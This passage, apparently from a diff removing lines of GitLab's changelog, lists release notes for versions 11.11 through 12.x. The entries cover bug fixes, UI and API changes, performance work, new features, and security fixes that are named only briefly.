-- Retry fetching Kubernetes Secret#token (#63507). !29922
-- Enforce presence of pipeline when "Pipeline must succeed" project setting is enabled. !29926
-- Fix unresponsive reply button in discussions. !29936
-- Allow asynchronous rebase operations to be monitored. !29940
-- Resolve Avatar in Please sign in pattern too large. !29944
-- Persist the cluster a deployment was deployed to. !29960
-- Fix runner tags search dropdown being empty when there are tags. !29985
-- Display the correct amount of projects being migrated/rolled-back to Hashed Storage when specifying ranges. !29996
-- Resolve Environment details header border misaligned. !30011
-- Correct link to docs for External Dashboard. !30019
-- Fix Jupyter-Git integration. !30020 (Amit Rathi)
-- Update Mermaid to 8.1.0. !30036
-- Fix background migrations failing with unused replication slot. !30042
-- Disable Rails SQL query cache when applying service templates. !30060
-- Set higher TTL for write lock of trace to prevent concurrent archiving. !30064
-- Fix charts on Cluster health page. !30073
-- Display boards filter bar on mobile. !30120
-- Fix IDE editor not showing when switching back from preview. !30135
-- Support note position tracing on an image. !30158
-- Replace slugifyWithHyphens with improved slugify function. !30172 (Luke Ward)
-- 'Open' and 'Closed' issue board lists no longer display a redundant tooltip. !30187
-- Fix pipelines table to update without refreshing after action. !30190
-- Change ruby_process_start_time_seconds metric to unix timestamp instead of seconds from boot. !30195
-- Fix attachments using the wrong URLs in e-mails. !30197
-- Make sure UnicornSampler is started only in master process. !30215
-- Don't show image diff note on text file. !30221
-- Fix median counting for cycle analytics. !30229
-- In WebIDE allow adding new entries of the same name as deleted entry. !30239
-- Don't let logged out user do manual order. !30264
-- Skip spam check for task list updates. !30279
-- Make Housekeeping button do a full garbage collection. !30289
-- Removing an image should not output binary data. !30314
-- Fix spacing issues for toasts. !30345
-- Fix race in forbid_sidekiq_in_transactions.rb. !30359
-- Fixed back navigation for projects filter. !30373
-- Fix environments broken terminal. !30401
-- Fix invalid SSL certificate errors on Drone CI service. !30422
-- Fix subgroup url in search drop down. !30457
-- Make unicorn_workers to return meaningful results. !30506
-- Fix wrong URL when creating milestones from instance milestones dashboard. !30512
-- Fixed incorrect line wrap for assignee label in issues. !30523 (Marc Schwede)
-- Improves section header whitespace on the CI/CD Charts page. !30531
-- Prevent multiple confirmation modals from opening when deleting a repository. !30532
-- Aligns CI icon in Merge Request dashboard. !30558
-- Add text-secondary to controls in project list. !30567
-- Review Tools: Add large z-index to toolbar. !30583
-- Hide restricted and disallowed visibility radios. !30590
-- Resolve Label picker: Line break on long label titles. !30610
-- Fix a bug that prevented projects containing merge request diff comments from being imported. !30630
-- I fixed z index bug in diff page. !30657 (Faruk Can)
-- Allow client authentication method to be configured for OpenID Connect. !30683 (Vincent Fazio)
-- Fix commenting before discussions are loaded. !30724
-- Fix linebreak rendering in Mermaid flowcharts. !30730
-- Make httpclient respect system SSL configuration. !30749
-- Bump fog-aws to v3.5.2. !30803
-- API: Allow changing only ci_default_git_depth. !30888 (Mathieu Parent)
-- Search issuables by iids. (Riccardo Padovani)
-- Fix broken warnings while Editing Issues and Edit File on MR.
-- Make sure we are receiving the proper information on the MR Popover by updating the IID in the graphql query.
-
-### Changed (39 changes, 8 of them are from the community)
-
-- Improve group list UI. !26542
-- Backport and Docs for Paginate license management and add license search. !27602
-- Update merge requests section description text on project settings page. !27838
-- Knative version bump 0.5 -> 0.6. !28798 (Chris Baumbauer)
-- Add salesforce logo for salesforce SSO. !28857
-- Enforced requirements for UltraAuth users. !28941 (Kartikey Tanna)
-- Return 400 when deleting tags more often than once per hour. !29448
-- Add identity information to external authorization requests. !29461
-- Enable just-in-time Kubernetes resource creation for project-level clusters. !29515
-- renamed discussion to thread in merge-request and issue timeline. !29553 (Michel Engelen)
-- Changed HTTP Status Code for disabled repository on /branches and /commits to 404. !29585 (Sam Battalio)
-- Enable Git object pools. !29595 (jramsay)
-- Updated container registry to display error message when special characters in path. Documentation has also been updated. !29616
-- Allow developers to delete tags. !29668
-- Will not update issue timestamps when changing positions in a list. !29677
-- Include a link back to the MR for Visual Review feedback form. !29719
-- Improve discussion reply buttons layout and how jump to next discussion button appears. !29779
-- Renders a pre-release tag for releases. !29797
-- Migrate NULL values for users.private_profile column and update users API to reject null value for private_profile. !29888
-- Re-name files in Web IDE in a more natural way. !29948
-- Include events from subgroups in group's activity. !29953 (Fabian Schneider @fabsrc)
-- Upgrade to Gitaly v1.49.0. !29990
-- Remove group and instance clusters feature flag. !30124
-- Add support for creating random passwords in user creation API. !30138
-- Support CIDR notation in IP rate limiter. !30146
-- Add Redis call details in Peek performance bar. !30191
-- Create Knative role and binding with service account. !30235
-- Add cleanup migration for MR's multiple assignees. !30261
-- Updates PHP template to php:latest to ensure always targeting latest stable. !30319 (Paul Giberson)
-- Format `from` and `to` fields in JSON audit log. !30333
-- Upgrade to Gitaly v1.51.0. !30353
-- Modify cycle analytics on project level. !30356
-- Extract clair version as CLAIR_EXECUTABLE_VERSION variable and update clair executable from v8 to v11. !30396
-- Upgrade Rouge to 3.5.1. !30431
-- Move multiple issue boards to core. !30503
-- Upgrade to Gitaly v1.52.0. !30568
-- Upgrade to Gitaly v1.53.0. !30614
-- Open WebIDE in fork when user doesn't have access. !30642
-- Propagate python version variable. (Can Eldem)
-
-### Performance (25 changes, 1 of them is from the community)
-
-- Remove tooltip directive on project avatar image component. !29631 (George Tsiolis)
-- Use Rugged if we detect storage is NFS and we can access the disk. !29725
-- Add endpoint for fetching diverging commit counts. !29802
-- Cache feature flag names in Redis for a minute. !29816
-- Avoid storing backtraces from Bitbucket Cloud imports in the database. !29862
-- Remove import columns from projects table. !29863
-- Enable Gitaly ref name caching for discussions.json. !29951
-- Allow caching of negative FindCommit matches. !29952
-- Eliminate N+1 queries in Dashboard::TodosController. !29954
-- Memoize non-existent custom appearances. !29957
-- Add a separate endpoint for fetching MRs serialized as widgets. !29979
-- Use CTE to fetch clusters hierarchy in single query. !30063
-- Enable Gitaly ref caching for SearchController. !30105
-- Avoid loading pipeline status in search results. !30111
-- Improve performance of MergeRequestsController#ci_environment_status endpoint. !30224
-- Add a memory cache local to the thread to reduce Redis load. !30233
-- Cache Flipper persisted names directly to local memory storage. !30265
-- Limit amount of JUnit tests returned. !30274
-- Cache Flipper feature flags in L1 and L2 caches. !30276
-- Prevent amplification of ReactiveCachingWorker jobs upon failures. !30432
-- Allow ReactiveCaching to support nil value. !30456
-- Improve performance of fetching environments statuses. !30560
-- Do Redis lookup in batches in ActiveSession.sessions_from_ids. !30561
-- Remove catfile cache feature flag. !30750
-- Fix Gitaly auto-detection caching. !30954
-
-### Added (46 changes, 12 of them are from the community)
-
-- Document the negative commit message push rule for the API. !14004 (Maikel Vlasman)
-- Expose saml_provider_id in the users API. !14045
-- Improve Project API. !28327 (Mathieu Parent)
-- Remove Sentry from application settings. !28447 (Roger Meier)
-- Implement borderless discussion design with new reply field. !28580
-- Enable terminals for instance and group clusters. !28613
-- Resolve Multiple discussions per line in merge request diffs. !28748
-- Adds link to Grafana in Admin > Monitoring settings when grafana is enabled in config. !28937 (Romain Maneschi)
-- Bring Manual Ordering on Issue List. !29410
-- Added commit type to tree GraphQL response. !29412
-- New API for User Counts, updates on success of an MR the count on top and in other tabs. !29441
-- Add option to limit time tracking units to hours. !29469 (Jon Kolb)
-- Add confirmation for registry image deletion. !29505
-- Sync merge ref upon mergeability check. !29569
-- Show an Upcoming Status for Releases. !29577
-- Add order_by and sort params to list runner jobs api. !29629 (Sujay Patel)
-- Allow custom username for deploy tokens. !29639
-- Add a verified pill next to email addresses under the admin users section. !29669
-- Add rake task to clean orphan artifact files. !29681
-- Render GFM in GraphQL. !29700
-- Upgrade asciidoctor version to 2.0.10. !29741 (Rajendra Kadam)
-- Allow auto-completing scoped labels. !29749
-- Enable syntax highlighting for AsciiDoc. !29835 (Guillaume Grossetie)
-- Expose placeholder element for metrics charts in GFM. !29861
-- Added a min schema version check to db:migrate. !29882
-- Extract zoom link from issue and pass to frontend. !29910 (raju249)
-- GraphQL mutations for add, remove and toggle emoji. !29919
-- Labeled issue boards can now collapse. !29955
-- Allow Ingress to be uninstalled from the UI. !29977
-- Add permission check to metrics dashboards endpoint. !30017
-- Allow JupyterHub to be uninstalled from the UI. !30097
-- Allow GitLab Runner to be uninstalled from the UI. !30176
-- GraphQL mutations for managing Notes. !30210
-- Add API for CRUD group clusters. !30213
-- Add endpoint to move multiple issues in boards. !30216
-- Enable terminals button for group clusters. !30255
-- Prevent excessive sanitization of AsciiDoc ouptut. !30290 (Guillaume Grossetie)
-- Extend `MergeToRefService` to create merge ref from an arbitrary ref. !30361
-- Add CI variable to provide GitLab HOST. !30417
-- Add migration for adding rule_type to approval_project_rules. !30575
-- Enable section anchors in Asciidoctor. !30666 (Guillaume Grossetie)
-- Preserve footnote link ids in Asciidoctor. !30790 (Guillaume Grossetie)
-- Add support for generating SSL certificates for custon pages domains through Let's Encrypt.
-- Introduce default: for gitlab-ci.yml.
-- Move Multiple Issue Boards for Projects to Core.
-- Add Gitaly data to the usage ping.
-
-### Other (35 changes, 15 of them are from the community)
-
-- Remove unresolved class and fixed height in discussion header. !28440 (David Palubin)
-- Moved EE/CE code differences for file `app/views/search/_category.html.haml` into CE. !28755 (Michel Engelen)
-- Changes "Todo" to "To Do" in the UI for clarity. !28844
-- Migrate GitLab managed project-level clusters to unmanaged if a Kubernetes namespace was unable to be created. !29251
-- Migrate GitLab managed project-level clusters to unmanaged if they are missing a Kubernetes service account token. !29648
-- Add strategies column to operations_feature_flag_scopes table. !29808
-- Disallow `NULL` values for `geo_nodes.primary` column. !29818 (Arun Kumar Mohan)
-- Replace 'JIRA' with 'Jira'. !29849 (Takuya Noguchi)
-- Support jsonb default in add_column_with_default migration helper. !29871
-- Update pagination prev and next texts. !29911
-- Adds metrics to measure cost of expensive operations. !29928
-- Always allow access to health endpoints from localhost in dev. !29930
-- Update GitLab Runner Helm Chart to 0.6.0. !29982
-- Use darker gray color for system note metadata and edited text. !30054
-- Fix typo in docs about Elasticsearch. !30162 (Takuya Noguchi)
-- Fix typo in code comments about Elasticsearch. !30163 (Takuya Noguchi)
-- Update mixin-deep to 1.3.2. !30223 (Takuya Noguchi)
-- Migrate markdown header_spec.js to Jest. !30228 (Martin Hobert)
-- Remove istanbul JavaScript package. !30232 (Takuya Noguchi)
-- Centralize markdownlint configuration. !30263
-- Use PostgreSQL 9.6.11 in CI tests. !30270 (Takuya Noguchi)
-- Fix typo in updateResolvableDiscussionsCounts action. !30278 (Frank van Rest)
-- Change color for namespace in commit search. !30312
-- Remove applySuggestion from notes service. !30399 (Frank van Rest)
-- Improved readability of storage statistics in group / project admin area. !30406
-- Alignign empty container registry message with design guidelines. !30502
-- Remove toggleAward from notes service. !30536 (Frank van Rest)
-- Remove deleteNote from notes service. !30537 (Frank van Rest)
-- change the use of boardService in favor of boardsStore on footer for the board component. !30616 (eduarmreyes)
-- Update example Prometheus scrape config. !30739
-- Update GitLab Pages to v1.7.0.
-- Add token_encrypted column to operations_feature_flags_clients table.
-- Removes EE diff for app/views/profiles/preferences/show.html.haml.
-- Removes EE differences for app/views/layouts/fullscreen.html.haml.
-- Removes EE differences for app/views/admin/users/show.html.haml.
-
-
-## 12.0.12
-
-- No changes.
-
-## 12.0.10
-
-- No changes.
-- No changes.
-
-## 12.0.7
-
-### Security (22 changes)
-
-- Ensure only authorised users can create notes on Merge Requests and Issues.
-- Add :login_recaptcha_protection_enabled setting to prevent bots from brute-force attacks.
-- Queries for Upload should be scoped by model.
-- Speed up regexp in namespace format by failing fast after reaching maximum namespace depth.
-- Limit the size of issuable description and comments.
-- Send TODOs for comments on commits correctly.
-- Restrict MergeRequests#test_reports to authenticated users with read-access on Builds.
-- Added image proxy to mitigate potential stealing of IP addresses.
-- Filter out old system notes for epics in notes api endpoint response.
-- Avoid exposing unaccessible repo data upon GFM post processing.
-- Fix HTML injection for label description.
-- Make sure HTML text is always escaped when replacing label/milestone references.
-- Prevent DNS rebind on JIRA service integration.
-- Use admin_group authorization in Groups::RunnersController.
-- Prevent disclosure of merge request ID via email.
-- Show cross-referenced MR-id in issues' activities only to authorized users.
-- Enforce max chars and max render time in markdown math.
-- Check permissions before responding in MergeController#pipeline_status.
-- Remove EXIF from users/personal snippet uploads.
-- Fix project import restricted visibility bypass via API.
-- Fix weak session management by clearing password reset tokens after login (username/email) are updated.
-- Fix SSRF via DNS rebinding in Kubernetes Integration.
-
-
-## 12.0.6
-
-- No changes.
-
-## 12.0.3 (2019-06-27)
-
-- No changes.
-### Security (10 changes)
-
-- Persist tmp snippet uploads at users.
-- Gate MR head_pipeline behind read_pipeline ability.
-- Fix DoS vulnerability in color validation regex.
-- Expose merge requests count based on user access.
-- Fix Denial of Service for comments when rendering issues/MR comments.
-- Add missing authorizations in GraphQL.
-- Disable Rails SQL query cache when applying service templates.
-- Prevent Billion Laughs attack.
-- Correctly check permissions when creating snippet notes.
-- Prevent the detection of merge request templates by unauthorized users.
-
-
-## 12.0.2 (2019-06-25)
-
-### Fixed (7 changes, 1 of them is from the community)
-
-- Fix missing API notification flags for Microsoft Teams. !29824 (Seiji Suenaga)
-- Fixed 'diff version changes' link not working. !29825
-- Fix label serialization in issue and note hooks. !29850
-- Include the GitLab version in the cache key for Gitlab::JsonCache. !29938
-- Prevent EE backport migrations from running if CE is not migrated. !30002
-- Silence backup warnings when CRON=1 in use. !30033
-- Fix comment emails not respecting group-level notification email.
-
-### Performance (1 change)
-
-- Omit issues links in merge request entity API response. !29917
-
-
-## 12.0.1 (2019-06-24)
-
-- No changes.
-
-## 12.0.0 (2019-06-22)
-
-### Security (10 changes)
-
-- Prevent bypass of restriction disabling web password sign in.
-- Hide confidential issue title on unsubscribe for anonymous users.
-- Resolve: Milestones leaked via search API.
-- Fix url redaction for issue links.
-- Add extra fields for handling basic auth on import by url page.
-- Fix confidential issue label disclosure on milestone view.
-- Filter relative links in wiki for XSS.
-- Prevent invalid branch for merge request.
-- Prevent XSS injection in note imports.
-- Protect Gitlab::HTTP against DNS rebinding attack.
-
-### Removed (5 changes, 1 of them is from the community)
-
-- Remove ability for group clusters to be automatically configured on creation. !27245
-- Removes support for AUTO_DEVOPS_DOMAIN. !28460
-- Remove the circuit breaker API. !28669
-- Make Kubernetes service templates readonly. !29044
-- Remove Content-Type override for Mattermost OAuth login. (Harrison Healey)
-
-### Fixed (115 changes, 28 of them are from the community)
-
-- Fix col-sm-* in forms to keep layout. !24885 (Takuya Noguchi)
-- Avoid 500 when rendering users ATOM data. !25408
-- Fix flyout nav on small viewports. !25998
-- Fix proxy support in Container Scanning. !27246
-- preventing blocked users and their PipelineSchdules from creating new Pipelines. !27318
-- Fix yaml linting for GitLab CI inside project (.gitlab/ci) *.yml files and CI template files. !27576 (Will Hall)
-- Fix yaml linting for project root *.yml files. !27579 (Will Hall)
-- Added a content field to atom feed. !27652
-- Bring secondary button styles up to design standard. !27920
-- Use FindOrCreateService to create labels and check for existing ones. !27987 (Matt Duren)
-- Fix "too many loops" error by handling gracefully cron schedules for non existent days. !28002
-- Fix 500 error when accessing charts with an anonymous user. !28091 (Diego Silva)
-- Allow user to set primary email first when 2FA is required. !28097 (Kartikey Tanna)
-- Auto-DevOps: allow to disable rollout status check. !28130 (Sergej Nikolaev <kinolaev@gmail.com>)
-- Resolved JIRA service: NoMethodError: undefined method 'find' for nil:NilClass. !28206
-- Supports Matomo/Piwik string website ID ("Protect Track ID" plugin). !28214 (DUVERGIER Claude)
-- Fix loading.. dropdown at search field. !28275 (Pavel Chausov)
-- Remove unintended error message shown when moving issues. !28317
-- Properly clear the merge error upon rebase failure. !28319
-- Upgrade dependencies for node 12 compatibility. !28323
-- Fix. `db:migrate` is failed on MySQL 8. !28351 (sue445)
-- Fix an error in projects admin when statistics are missing. !28355
-- Fix emojis URLs. !28371
-- Prevent common name collisions when requesting multiple Let's Encrypt certificates concurrently. !28373
-- Fix issue that causes "Save changes" button in project settings pages to be enabled/disabled incorrectly when changes are made to the form. !28377
-- Fix diff notes and discussion notes being exported as regular notes. !28401
-- Fix padding in MR widget. !28472
-- Updates loading icon in commits page. !28475
-- Fix border radius of discussions. !28490
-- Update broadcast message action icons. !28496 (Jarek Ostrowski @jareko)
-- Update icon color to match design system, pass accessibility. !28498 (Jarek Ostrowski @jareko)
-- Show data on Cycle Analytics page when value is less than a second. !28507
-- Fix dropdown position when loading remote data. !28526
-- Delete unauthorized Todos when project is made private. !28560
-- Change links in system notes to use relative paths. !28588 (Luke Picciau)
-- Update favicon from next. !28601 (Jarek Ostrowski @jareko)
-- Open visibility help link in a new tab. !28603 (George Tsiolis)
-- Fix issue importing members with owner access. !28636
-- Fix the height of the page headers on issues/merge request/snippets pages. !28650 (Erik van der Gaag)
-- Always show "Pipelines must succeed" checkbox. !28651
-- Resolve moving an issue results in broken image links in comments. !28654
-- Fix milestone references containing &, <, or >. !28667
-- Add hover and focus to Attach a file. !28682
-- Correctly word-wrapping project descriptions with very long words. !28695 (Erik van der Gaag)
-- Prevent icons from shrinking in User popover when contents exceed container. !28696
-- Allow removal of empty lines via suggestions. !28703
-- Throw an error when formatDate's input is invalid. !28713
-- Fix order dependency with user params during imports. !28719
-- Fix search dropdown not closing on blur if empty. !28730
-- Fixed ignored postgres version that occurs after the first autodevops deploy when specifying custom $POSTGRES_VERSION. !28735 (Brandon Dimcheff)
-- Limit milestone dates to before year 9999. !28742 (Luke Picciau)
-- Set project default visibility to max allowed. !28754
-- Cancel auto merge when merge request is closed. !28782
-- Fixes Ref link being displayed as raw HTML in the Pipelines page. !28823
-- Fix job name in graph dropdown overflowing. !28824
-- Add style to disable webkit icons for search inputs. !28833 (Jarek Ostrowski @jareko)
-- Fix email notifications for user excluded actions. !28835
-- Resolve Tooltip Consistency. !28839
-- Fix Merge Request merge checkbox alignment on mobile view. !28845
-- Add referenced-commands in no overflow list. !28858
-- Fix participants list wrapping. !28873
-- Excludes MR author from Review roulette. !28886 (Jacopo Beschi @jacopo-beschi)
-- Give labels consistent weight. !28895
-- Added padding to time window dropdown in monitor dashboard. !28897
-- Move text under p tag. !28901
-- Resolve Position is off when visiting files with anchors. !28913
-- Fix whitespace changes visibility when the related file was initially collapsed. !28950 (Ondřej Budai)
-- Fix emoji picker visibility issue. !28984
-- Resolve Merge request discussion text jumps when resolved. !28995
-- Allow lowercase prefix for Youtrack issue ids. !29057 (Matthias Baur)
-- Add support to view entirety of long branch name in dropdown instead of it being cut off. !29069
-- Fix inconsistent option dropdown button height to match adjacent button. !29096
-- Improve new user email markup unconsistency between text and html parts. !29111 (Haunui Saint-sevin)
-- Eliminate color inconsistencies in metric graphs. !29127
-- Avoid setting Gitlab::Session on sessionless requests and Git HTTP. !29146
-- Use the selected time window for metrics dashboard. !29152
-- Remove build policies from serverless app template. !29253
-- Fix serverless apps deployments by bumping 'tm' version. !29254
-- Include the port in the URLs of the API Link headers. !29267
-- Fix Fogbugz Importer not working. !29383
-- Fix GPG signature verification with recent GnuPG versions. !29388 (David Palubin)
-- Cancel Auto Merge when target branch is changed. !29416
-- Fix nil coercion updating storage size on project statistics. !29425
-- Ignore legacy artifact columns in Project Import/Export. !29427
-- Avoid DB timeouts when scheduling migrations. !29437
-- Handle encoding errors for MergeToRefService. !29440
-- Fix UTF-8 conversion issues when resolving conflicts. !29453
-- Enlarge metrics time-window dropdown links. !29458
-- Remove unnecessary decimals on Metrics chart axis. !29468
-- Fix scrolling to top on assignee change. !29500
-- Allow command/control click to open link in new tab on Merge Request tabs. !29506
-- Omit blocked admins from repository check e-mails. !29507
-- Fix diverged branch locals. !29508
-- Process up to 100 commit messages for references when pushing to a new default branch. !29511 (Fabio Papa)
-- Allow developer role to delete docker tags via container registry API. !29512
-- Fix "Resolve conflicts" button not appearing for some users. !29535
-- Fix: propagate all documented ENV vars to CI when using SAST. !29564
-- AutoDevops function ensure_namespace() now explicitly tests the namespace. !29567 (Jack Lei)
-- Fix sidebar flyout navigation. !29571
-- Fix missing deployment rockets in monitor dashboard. !29574
-- Fix inability to set visibility_level on project via API. !29578
-- Ensure a Kubernetes namespace is not used for deployments if there is no service account token associated with it. !29643
-- Refresh service_account_token for kubernetes_namespaces. !29657
-- Expose all current events properly on services API. !29736 (Zsolt Kovari)
-- Move Dropdown to Stick to MR View App Button. !29767
-- Fix IDE commit using latest ref in branch and overriding contents. !29769
-- Revert concurrent pipeline creation for pipeline schedules. !29794
-- Fix border radii on diff files and repo files.
-- Fix padding of unclickable pipeline dropdown items to match links.
-- Fix pipeline schedules when owner is nil.
-- Fix remote mirrors not updating after tag push.
-- Fix layout of group milestone header.
-- Fixed show whitespace button not refetching diff content.
-- Change resolve button text to mark comment as resolved.
-- Align system note within discussion with other notes.
-
-### Changed (35 changes, 13 of them are from the community)
-
-- Include information if issue was clossed via merge request or commit. !15610 (Michał Zając)
-- Removes duplicated members from api/projects/:id/members/all. !24005 (Jacopo Beschi @jacopo-beschi)
-- Apply the group setting "require 2FA" across all subgroup members as well when changing the group setting. !24965 (rroger)
-- Enable function features for external Knative installations. !27173
-- Remove dind from DAST template. !28083
-- Update registration form to indicate invalid name or username length on input. !28095 (Jiaan Louw)
-- Default masked to false for new variables. !28186
-- Better isolated `Docker.gitlab-ci.yml` to avoid interference with other job configurations. !28213 (lrkwz)
-- Remove the mr_push_options feature flag. !28278
-- Replace Oxygen-Sans font with Noto Sans. !28322
-- Update new smiley icons, find n replace old names with new ones. !28338 (Jarek Ostrowski)
-- Adds a text label to color pickers to improve accessibility. !28343 (Chris Toynbee)
-- Prioritize login form on mobile breakpoint. !28360
-- Move some project routes under /-/ scope. !28435
-- I18n for issue closure reason in emails. !28489 (Michał Zając)
-- Geo: Remove Gitlab::LfsToken::LegacyRedisDeviseToken implementation and usage. !28546
-- Add check circle filled icon for resolved comments. !28663
-- Update project security dashboard documentation. !28681
-- Remove `docker pull` prefix when copying a tag from the registry. !28757 (Benedikt Franke)
-- Adjust milestone completion rate to be based on issues count. !28777
-- Enhance line-height of Activity feed UI. !28856 (Jacopo Beschi @jacopo-beschi)
-- Upgrade to Gitaly v1.43.0. !28867
-- Do not display Update app button when saving Knative domain name. !28904
-- Rebrush of flash-warning according to the new design (brighter background and darker font). !28916 (Michel Engelen)
-- Added reference, web_path, and relative_position fields to GraphQL Issue. !28998
-- Change logic behind cycle analytics. !29018
-- Add documentation links for confidental and locked discussions. !29073
-- Update GITALY_SERVER_VERSION to 1.45.0. !29109
-- Allow masking if 8 or more characters in base64. !29143 (thomas-nilsson-irfu)
-- Replaces sidekiq mtail metrics with ruby instrumentation metrics. !29215
-- Allow references to labels and milestones to contain emoji. !29284
-- changed the styles on `Add List` dropdown to look more like the EE vesion. !29338 (Michel Engelen)
-- Hashed Storage is enabled by default on new installations. !29586
-- Upgrade to Gitaly v1.47.0. !29789
-- Default MR checkbox to true in most cases.
-
-### Performance (11 changes)
-
-- Improve performance of jobs controller. !28093
-- Upgrade Ruby version to 2.6.3. !28117
-- Make pipeline schedule worker resilient. !28407
-- Fix performance issue with large Markdown content in issue or merge request description. !28597
-- Improve clone performance by using delta islands. !28871
-- Reduce Gitaly calls to improve performance when rendering suggestions. !29027
-- Use Redis for CacheMarkDownField on non AR models. !29054
-- Add index on public_email for users. !29430
-- Speed up commit loads by disabling BatchLoader replace_methods. !29633
-- Add index on invite_email for members. !29768
-- Improve performance of users autocomplete when there are lots of results.
-
-### Added (47 changes, 12 of them are from the community)
-
-- Added option to filter jobs by age in the /job/request API endpoint. !1340 (Dmitry Chepurovskiy)
-- Add ability to define notification email addresses for groups you belong to. !25299
-- Add wiki size to project statistics. !25321 (Peter Marko)
-- 58404 - setup max depth for GraphQL. !25737 (Ken Ding)
-- Add auto SSL toggle option to Pages domain settings page. !26438
-- Empty project state for Web IDE. !26556
-- Add support for multiple job parents in GitLab CI YAML. !26801 (Wolphin (Nikita))
-- Pass user's identity and token from JupyterHub to user's Jupyter environment. !27314 (Amit Rathi)
-- Add issues_statistics api endpoints and extend issues search api. !27366
-- Validate Kubernetes credentials at cluster creation. !27403
-- Update the merge request widget's "Merge" button to support merge trains. !27594
-- Style the toast component according to design specs. !27734
-- Add API support for committing changes to different projects in same fork network. !27915
-- Add support for && and || to CI Pipeline Expressions. Change CI variable expression matching for Lexeme::Pattern to eagerly return tokens. !27925 (Martin Manelli)
-- Added ref querystring parameter to project search API to allow searching on branches/tags other than the default. !28069 (Lee Tickett)
-- Add notify_only_default_branch option to PipelinesEmailService. !28271 (Peter Marko)
-- Support multiplex GraphQL queries. !28273
-- Add Namespace and ProjectStatistics to GraphQL API. !28277
-- Display classname JUnit attribute in report modal. !28376
-- API: Allow to get and set "masked" attribute for variables. !28381 (Mathieu Parent)
-- Add allow_failure attribute to Job API. !28406
-- Add support for AsciiDoc include directive. !28417 (Jakub Jirutka & Guillaume Grossetie)
-- Migrate Kubernetes service integration templates to clusters. !28534
-- Allow issue list to be sorted by relative order. !28566
-- Implement borderless discussion design with new reply field. !28580
-- Add expand/collapse to error tracking settings. !28619
-- Adds collapsible sections for job log. !28642
-- Add LFS oid to GraphQL blob type. !28666
-- Allow users to specify a time range on metrics dashboard. !28670
-- Add a New Copy Button That Works in Modals. !28676
-- Add Kubernetes logs to Admin Logs UI. !28685
-- Set up git client in Jupyter installtion. !28783 (Amit Rathi)
-- Add task count and completed count to responses of Issue and MR. !28859
-- Add project level git depth CI/CD setting. !28919
-- Use global IDs when exposing GraphQL resources. !29080
-- Expose wiki_size on GraphQL API. !29123
-- Expose notes and discussions in GraphQL. !29212
-- Use to 'gitlabktl' build serverless applications. !29258
-- Adds pagination component for graphql api. !29277
-- Allow switching clusters between managed and unmanaged. !29322
-- Get and edit ci_default_git_depth via project API. !29353
-- Link to an external dashboard from metrics dashboard. !29369
-- Add labels to note event payload. !29384 (Sujay Patel)
-- Add Join meeting button to issues with Zoom links. !29454
-- Add backtraces to Peek performance bar for SQL calls.
-- Added diff suggestion feature discovery popover.
-- Make task completion status available via GraphQL.
-
-### Other (62 changes, 14 of them are from the community)
-
-- Unified EE/CS differences in repository/show.html. !13562
-- Remove legacy artifact related code. !26475
-- Backport the EE schema and migrations to CE. !26940 (Yorick Peterse)
-- Add dedicated logging for GraphQL queries. !27885
-- i18n: externalize strings from user profile settings. !28088 (Antony Liu)
-- Omit max-count for diverging_commit_counts behind feature flag. !28157
-- Fix alignment of resend button in members page. !28202
-- Update indirect dependency fsevents from 1.2.4 to 1.2.9. !28220 (Takuya Noguchi)
-- Update get_process_mem to 0.2.3. !28248
-- Add Pool repository to the usage ping. !28267
-- Forbid NULL in project_statistics.packages_size. !28400
-- Update Gitaly to v1.42.1. !28425
-- Upgrade babel to 7.4.4. !28437 (Takuya Noguchi)
-- Externalize profiles preferences. !28470 (George Tsiolis)
-- Update GitLab Runner Helm Chart to 0.5.0. !28497
-- Change collapse icon size to size of profile picture. !28512
-- Resolve Snippet icon button is misaligned. !28522
-- Bumps Kubernetes in Auto DevOps to 1.11.10. !28525
-- Bump Helm version in Auto-DevOps.gitlab-ci.yml to 2.14.0. !28527
-- Migrate the monitoring dashboard store to vuex. !28555
-- Give New Snippet button green outline. !28559
-- Removes project_auto_devops#domain column. !28574
-- Externalize strings of email page in user profile. !28587 (antony liu)
-- Externalize strings of active sessions page in user profile. !28590 (antony liu)
-- Refactor and abstract Auto Merge Processes. !28595
-- Add section to dev docs on accessing chatops. !28623
-- Externalize strings of chat page in user profile. !28632
-- Externalize strings of PGP Keys and SSH Keys page in user profile. !28653 (Antony Liu)
-- Added the `.extended-height` class to the labels-dropdown. !28659 (Michel Engelen)
-- Moved EE/CE code differences for `app/assets/javascripts/gl_dropdown.js` into CE. !28711 (Michel Engelen)
-- Update GitLab Runner Helm Chart to 0.5.1. !28720
-- Remove support for using Geo with an installation from source. !28737
-- API: change masked attribute type to Boolean. !28758
-- API: change protected attribute type to Boolean. !28766
-- Add a column header to admin/jobs page. !28837
-- Reset merge status from mergeable MRs. !28843
-- Show tooltip on truncated commit title. !28865 (Timofey Trofimov)
-- Added conditional rendering to `app/views/search/_form.html.haml` for CE/EE code base consistency. !28883 (Michel Engelen)
-- Change "Report abuse to GitLab" to more generic wording. !28884 (Marc Schwede)
-- Update GitLab Pages to v1.6.0. !29048
-- Update GitLab Runner Helm Chart to 0.5.2. !29050
-- User link styling for commits. !29150
-- Fix null source_project_id in pool_repositories. !29157
-- Add deletion protection setting column to application_settings table. !29268
-- Added code differnces from EE in file 'app/assets/javascripts/pages/projects/project.js' to CE. !29271 (Michel Engelen)
-- Update to GitLab Shell v9.3.0. !29283
-- Document when milestones and labels links are missing. !29355
-- Make margin between buttons consistent. !29378
-- Changed the 'Created' label to 'Last Updated' on the container registry table to more accurately reflect what the date represents. !29464
-- Update GitLab Pages to v1.6.1. !29559
-- Indent collapsible sections. !29804
-- Use grid and correct border radius for status badge.
-- Remove fixed height from MR diff headers.
-- Use blue for activity stream links; use monospace font for commit sha.
-- Moves snowplow to CE repo.
-- Reduce height of issue board input to align with buttons.
-- Change default color of award emoji button.
-- Group download buttons into a .btn-group.
-- Add warning that gitlab-secrets isn't included in backup.
-- Increase height of move issue dropdown.
-- Update merge request tabs so they no longer scroll.
-- Moves the table pagination shared component.
-
-
-## 11.11.8
-
-### Security (2 changes)
-
-- Upgrade Gitaly to 1.42.7 to prevent revision flag injection exploits.
-- Upgrade pages to 1.5.1 to prevent gitlab api token recovery from cookie.
-
-
-## 11.11.7
-
-### Security (9 changes)
-
-- Restrict slash commands to users who can log in.
-- Patch XSS issue in wiki links.
-- Filter merge request params on the new merge request page.
-- Fix Server Side Request Forgery mitigation bypass.
-- Show badges if pipelines are public otherwise default to project permissions.
-- Do not allow localhost url redirection in GitHub Integration.
-- Do not show moved issue id for users that cannot read issue.
-- Use source project as permissions reference for MergeRequestsController#pipelines.
-- Drop feature to take ownership of trigger token.
-
-
